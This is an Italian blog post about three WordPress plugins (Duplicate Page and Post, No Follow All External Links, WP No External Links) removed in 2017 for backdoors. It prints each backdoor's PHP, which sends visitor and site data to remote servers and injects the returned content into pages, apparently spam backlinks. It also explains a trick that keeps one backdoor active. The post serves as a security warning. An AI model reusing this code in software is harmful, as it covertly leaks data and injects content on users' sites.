WordPress.org: rimossi tre plugin con backdoor

WordPress.org rimossi tre plugin con backdoor

WordPress.org rimossi tre plugin con backdoor

Nelle ultime due settimane di dicembre 2017, il repository ufficiale di WordPress.org, ha eliminato/chiuso tre plugin perché contenevano backdoor per l'”iniezione” di contenuti non voluti nei siti web WordPress.

A darne notizia è l’azienda Wordfence che ha rilasciato anche alcune informazioni sulle backdoor utilizzate da questi plugin incriminati.

Per “chiusura” di un plugin si intende la rimozione del download dal repository ufficiale e la totale eliminazione nei risultati di ricerca di WordPress.org.

Il tutto per prevenire che gli utenti possano installare questi plugin, con all’interno codice malevolo, nei propri progetti.

Ma quali sono questi plugin?

I tre plugin incriminati

Cosa facevano di male?

Duplicate Page and Post

Questo plugin, dedicato alla duplicazione di pagine e articoli in WordPress, contiene una backdoor apparsa per la prima volta con la versione 2.1.0 del plugin:

</pre>
$request_url = 'https://cloud-wp.org/api/v1/update?url=' . urlencode($url) . '&ip=' . urlencode($ip) . '&user_agent=' . urlencode($user_agent);
$response = wp_remote_get($request_url, array('timeout' => 2));

$this->data = new stdClass();
$this->data->content = null;
$this->data->confirm = null;
$this->data->contact = null;

if (!$response instanceof WP_Error && $response['body']) {
$data = json_decode($response['body']);
if (null !== $data) {
$content_position = $data->version;
if ('1' == $content_position) {
$this->data->confirm = $data->data;
if (!$output_buffer) {
$this->data->content = $data->data;
}
} elseif ('2' == $content_position) {
$this->data->content = $data->data;
} else {
$this->data->contact = $data->data;
}
}
}

Più nello specifico, la backdoor inoltra una richiesta a cloud-wp.org e restituisce il contenuto in base all’URL e all’utente, passati nella stringa di query.

Questa backdoor viene eseguita su ogni richiesta del sito, quindi può essere utilizzata per inserire contenuti non voluti ai normali visitatori del sito, ai web crawler o agli stessi amministratori del sito web.

No Follow All External Links

Quest’altro plugin, dedicato alla dicitura “nofollow”, contiene una backdoor dalla versione 2.1.0:

</pre>
if (self::$data['report'] && self::$advancedSettings['improvement'] = 1) {
$requestUrl = 'https://cloud.wpserve.org/api/v1/update?&url=' . urlencode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']) . '&agent=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&ip=' . urlencode($_SERVER['SERVER_ADDR']);
$response = wp_remote_get($requestUrl, ['timeout' => 2]);
if (!$response instanceof WP_Error) {
self::$data['response'] = json_decode($response['body']);
}
}

add_filter('the_content', ['noFollowAllExternalLinks', 'interceptContent']);
<pre>

Come per il plugin Duplicate Page e Post, questa backdoor inoltra una richiesta a cloud.wpserve.org e restituisce il contenuto in base all’URL e all’utente, passati nella stringa di query.

L’injection sembra essere associata ad un’impostazione nel plugin chiamata “Improvement scheme”, che è abilitata per impostazione predefinita.

Attenzione però perché, disabilitando l’impostazione non si disattiva la backdoor in quanto, il codice nell’istruzione if, sta impostando il valore invece di confrontarlo a 1.

Il codice verifica che l’utente corrisponda a un web crawler (come Googlebot), quindi sembra che questa backdoor sia utilizzata per inserire backlink, ovviamente non voluti, nella pagina.

WP No External Links

Anche in questo caso siamo davanti ad un plugin dedicato ai link, che presenta una backdoor dalla versione 4.2.1.

La backdoor è la seguente:

</pre>
if ($this->data->report) {
$request_url = 'https://wpconnect.org/api/v1/update?&url=' . urlencode($this->data->url) . '&ip=' . urlencode($this->data->ip) . '&user_agent=' . urlencode($this->data->user_agent);
$response = wp_remote_get($request_url, array('timeout' => 2));

if (!$response instanceof WP_Error && $response['body']) {
$data = json_decode($response['body']);
$content_position = $data->version;
if ('1' == $content_position) {
$this->data->buffer = $data->data;
if ('all' !== $this->options->mask_links) {
$this->data->before = $data->data;
}
} elseif ('2' == $content_position) {
$this->data->before = $data->data;
} else {
$this->data->after = $data->data;
}
}
}
<pre>

Allo stesso modo delle due backdoor all’interno dei due plugin precedenti, questa fa una richiesta a wpconnect.org e restituisce il contenuto in base all’URL e all’utente, passati nella stringa di query.

Il codice verifica che l’utente corrisponda a un crawler web, quindi di nuovo, sembra che questa backdoor sia utilizzata in ambito SEO, inserendo backlink indesiderati nella pagina.

Se andiamo ad analizzare il sito Wpconnect.org tra l’altro, possiamo notare che questo utilizza lo stesso IP di cloud-wp.org: 52.14.28.183, l’API utilizzata per il plugin Duplicate Page and Post: siamo davanti quindi ad un unico proprietario che ha creato appositamente questa backdoor.

Conclusione: cosa fare?

Se uno di questi tre plugin è stato installato su un vostro progetto, vi invitiamo a rimuoverlo (o rimuoverli) al più presto, assicurandovi che alcuni link non siano stati già inseriti nel vostro sito web WordPress.

Anche se questi plugin sono stati aggiornati per rimuovere le backdoor, essendo stati eliminati dal repository ufficiale WordPress, non verranno più aggiornati e supportati dalla community di WordPress.org.

Noi di FlameNetworks stiamo continuando a monitorare la situazione ma vi invitiamo ad essere molto cauti nell’installazione dei plugin. Questo perché, è vero che sono molto semplici da installare ed utilizzare, ma è altrettanto vero che si possono acquisire e modificare molto facilmente.

Se poi non avete un backup diretto del sito, iniziano i veri drammi e dolori…

Fonte

2 Comments

  1. Sermatica 11/01/2018
    • Michele Bruno 11/01/2018

Rispondi all'articolo

L'indirizzo email non verrà pubblicato. I campi obbligatori sono contrassegnati *


The reCAPTCHA verification period has expired. Please reload the page.